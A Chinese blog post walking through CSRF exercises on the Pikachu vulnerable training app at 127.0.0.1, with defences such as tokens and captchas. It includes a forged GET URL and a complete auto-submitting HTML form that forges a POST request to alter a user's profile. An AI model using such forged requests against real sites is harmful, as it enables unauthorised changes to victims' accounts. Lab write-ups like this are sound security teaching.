pikachu--CSRF实验演练

最新推荐文章于 2022-05-04 19:56:37 发布

捭阖~

最新推荐文章于 2022-05-04 19:56:37 发布

阅读量410

点赞数

分类专栏： pikachu 文章标签：安全 csrf html

本文链接：https://blog.csdn.net/m0_54024658/article/details/118017430

版权

pikachu 专栏收录该内容

6 篇文章 1 订阅

订阅专栏

CSRF概述

Cross-site request forgery 简称为“CSRF”，中文名称跨站请求伪造在CSRF的攻击场景中攻击者会伪造一个请求（这个请求一般是一个链接），然后欺骗目标用户进行点击，用户一旦点击了这个请求，整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。
很多人搞不清楚CSRF的概念，甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。

CSRF与XSS的区别

CSRF是借用户的权限完成攻击，攻击者并没有拿到用户的权限，而XSS是直接盗取到了用户的权限，然后实施破坏。

csrf（get）实验

1，使用默认用户名登录
在这里插入图片描述 2，修改个人信息，并用burpsuite抓包
3，看到是通过GET请求来提交修改信息，我们伪造URL，修改用户信息，让用户点击即可修改信息。
127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345678922&add=hacker&email=lucy%40pikachu.com&submit=submit
诱使用户点击访问，个人信息被修改，攻击完成。
在这里插入图片描述

csrf（post）实验

1，同样登录进去，修改个人信息抓包查看，修改信息的请求是post，攻击者无法伪造URL进行攻击
在这里插入图片描述
类似于 XSS的Post型攻击一样, 攻击者会构造一个自己的攻击站点(服务器), 站点上有一个post.html, 诱使用户点击该地址

2，构造一个html

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
    <input id="sex" type="text" name="sex" value="girl" />
    <input id="phonenum" type="text" name="phonenum" value="12345678922" />
    <input id="add" type="text" name="add" value="hacker" />
    <input id="email" type="text" name="email" value="lucy@pikachu.com" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

3.构造好的html脚本放在Apache服务器上，诱使用户点击访问，就会自动往服务器发送POST请求，修改地址信息, 即可完成CSRF攻击

在这里插入图片描述

csrf（token）

CSRF的主要问题是敏感操作容易被伪造，我们可以加入Token让请求不容易被伪造。每次请求，都增加一个随机码（需要够随机，不容易被伪造），后台每次对这个随机码进行验证。
1，抓包看看
在这里插入图片描述
请求虽然为get,但是有个token的随机值，服务器收到请求，会优先检查token值，只有值对了，才处理请求。

csrf漏洞容易出现的地方

1.修改管理员账号时，不需要验证旧密码
2.比如修改敏感信息不需要token验证
3.确认凭证的有效期虽然退出或关闭了览器，但Cookie仍然有效，或者Session没有及时过期，导致CSRF攻击变得简单。

防止CSRF攻击

需要对敏感信息的操作实施对应的安全措施，防止这些操作出现被伪造的情况，从而导致CSRF。
比如：
对敏感信息的操作增加安全的token；
对敏感信息的操作增加安全的验证码；
对敏感信息的操作实施安全的逻辑流程，比如修改密码时，需要先校验旧密码等。

捭阖~

关注

0
点赞
踩
1

收藏

觉得还不错? 一键收藏
0
评论
pikachu--CSRF实验演练

CSRF概述Cross-site request forgery 简称为“CSRF”，中文名称==跨站请求伪造==在CSRF的攻击场景中攻击者会伪造一个请求（这个请求一般是一个链接），然后欺骗目标用户进行点击，用户一旦点击了这个请求，整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。很多人搞不清楚CSRF的概念，甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。CSRF与XSS的区别CSRF是借用户的权限完成攻击，攻击者并没有拿到用户的
复制链接

扫一扫